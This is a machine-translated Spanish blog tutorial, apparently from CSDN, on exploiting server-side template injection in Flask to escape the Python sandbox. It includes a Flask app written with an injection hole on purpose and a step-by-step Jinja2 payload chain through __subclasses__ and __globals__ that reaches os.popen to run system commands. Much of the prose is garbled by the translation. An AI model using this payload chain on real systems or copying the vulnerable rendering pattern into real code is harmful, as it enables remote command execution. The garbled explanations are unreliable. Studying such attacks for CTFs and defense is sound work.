Frasco SSTI / resumen de algunas de la escalera de caja de arena

0x00 principio SSTI

inyección de la plantilla, y la inyección de SQL, comando implantación principio similar, cuando los datos de entrada de usuario no es el control de proceso razonable, es posible insertar los datos en el bloque se convierte en parte del programa, cambiando de este modo la ejecución del programa de lógica.

0x01 escapar el principio de caja de arena

Caja de arena / caja de arena

En los primeros días de recinto para las pruebas de software sospechoso, virus y otros niveles dañinos. Ejecuta en un entorno limitado, incluso si el virus que causa daños graves o plantean una amenaza para el entorno real. Al igual que en el uso de máquinas virtuales.

Las funciones integradas

Al iniciar el intérprete de Python, incluso si no se ha creado ninguna variable o función, o habrá una gran cantidad de funciones están disponibles, estos son de la pitón funciones integradas.

  • Espacio de nombres: asignación de nombres a los objetos

    1. incorporado espacio de nombres: Pitón nombre propio, producido cuando el intérprete se pone en marcha, almacenar algún pitón incorporado en el nombre

    2. El espacio de nombres global: Cuando un archivo se almacena en el nombre de nivel de archivo definido

    3. El espacio de nombres local (puede no existir): En el proceso de aplicación del documento, si la función se llama, se producirá el nombre del espacio de función que se utiliza para almacenar los nombres definidos dentro de la función

  • Cargando fin

    Espacio incorporado, -> espacio de nombres global -> espacio de nombres local

  • Encontrar el nombre de la orden

    espacio de nombres local -> espacio de nombres global -> espacio incorporado,

función dir () se utiliza para propiedades de visualización de un objeto, en el entorno actual no se proporciona para que el módulo introducido

Aquí Insertar imagen Descripción

Ver los __builtins__ingredientes

Aquí Insertar imagen Descripción

herencia de clases

Después de que el pitón para la aplicación de una variable correspondiente al método de objetos de clase ejemplo a partir de un tipo de variable, se encuentran las siguientes tres métodos relación de herencia de clase:

__base__:获取对象的一个基类,一般情况下是object
__mro__:获取对象的一个基类,显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__():继承此对象的子类,返回一个列表

Las funciones mágicas

  • __dict__
  • __globals__
  • __getattribute__()

código de prueba 0x02

Antes Después Después de completar frasco, tomar parte de su propio entorno no puede vulnerabilidad resurgido, leer el artículo principal Cai request.url saber no ha dado lugar a una plantilla. Urlencode ejecutar automáticamente en request.url en la última versión del matraz, en la participación masiva request.args en él.

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

En el código anterior, el usuario directamente parámetros controlables request.args.get ( '404_url') mostrada directamente en la plantilla y vuelve a la página, este no es el método de representación correcta producirá una inyección de plantilla (SSTI).

0x03 utilizando el método

A partir de la variable -> Objeto -> clase base -> subclase de recorrido -> procesar las variables globales, o un módulo de función para encontrar deseado.

  • __class__

    Devuelve el objeto de clase pertenece

  • __bases__

    Se devuelve una tupla hereda de la clase forman directamente

  • __base__

    Devuelve una clase hereda de la clase cadena directamente

  • __mro__

    Devolver el fin de resolver la llamada al método

  • __subclasses__()

    Obtener todas las subclases de la clase

  • __init__

    Por lo tanto se trata de clases contienen init método, como un trampolín para facilitar llamadas globales

  • __globals__

    Obtener espacio funcional que se puede utilizar debajo del módulo, todas las variables y métodos

Cuando construimos http://192.168.0.103:5000/123?404_url={{1-1}}, se puede ver devuelve 0 en lugar de 1-1, lo que indica que el valor de 404_url de empalme en la plantilla para la representación.

Aquí Insertar imagen Descripción

"".__class__	//获取某个类

Aquí Insertar imagen Descripción

"".__class__.__mro__[1]	
或者
"".__class__.__bases__	//获取object基类

Aquí Insertar imagen Descripción

"".__class__.__mro__[1].__subclasses__()	//获取其所有子类

Aquí Insertar imagen Descripción

"".__class__.__mro__[1].__subclasses__()[1].__init__.__globals__	//查看os module或其他可读写文件的方法

Aquí Insertar imagen Descripción

Granallado con un número que puede eructar suite, otro clase incorporada se puede llamar para dar módulo os

Aquí Insertar imagen Descripción

"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__["os"]["popen"]("whoami").read()	//执行系统命令

Aquí Insertar imagen Descripción

0x04 Python ejecutar comandos comunes

os.system ()

os.system (comando)

Un resultado de la ejecución de comandos de retorno devuelve valor, el éxito de retorno 0, -1 fracaso en lugar de devolver la ejecución de la salida del comando

os.popen ()

os.popen (comando [, modo [, bufsize]])

p.read método popen () Obtiene el terminal de salida, y la necesidad de cerrar el cierre ()

subproceso

  • subprocess.call ( “orden”)
  • subprocess.Popen ( “orden”)

0x05 Bypass

Principalmente en los siguientes puntos

  • cotizaciones de filtro
  • soportes de filtro
  • paréntesis de filtro
  • filtrado de palabras clave
  • {} {} Filtrada
  • filtro de número de punto
  • castración módulo

Cai maestro de artículos de una manera muy detallada, puede ir a leer

https://xz.aliyun.com/t/6885#toc-3

conexión de referencia: https: //www.anquanke.com/post/id/188172#h3-3

Publicado 38 artículos originales · ganado elogios 34 · vistas 5385

Supongo que te gusta

Origin blog.csdn.net/weixin_43872099/article/details/104945597
Recomendado
Clasificación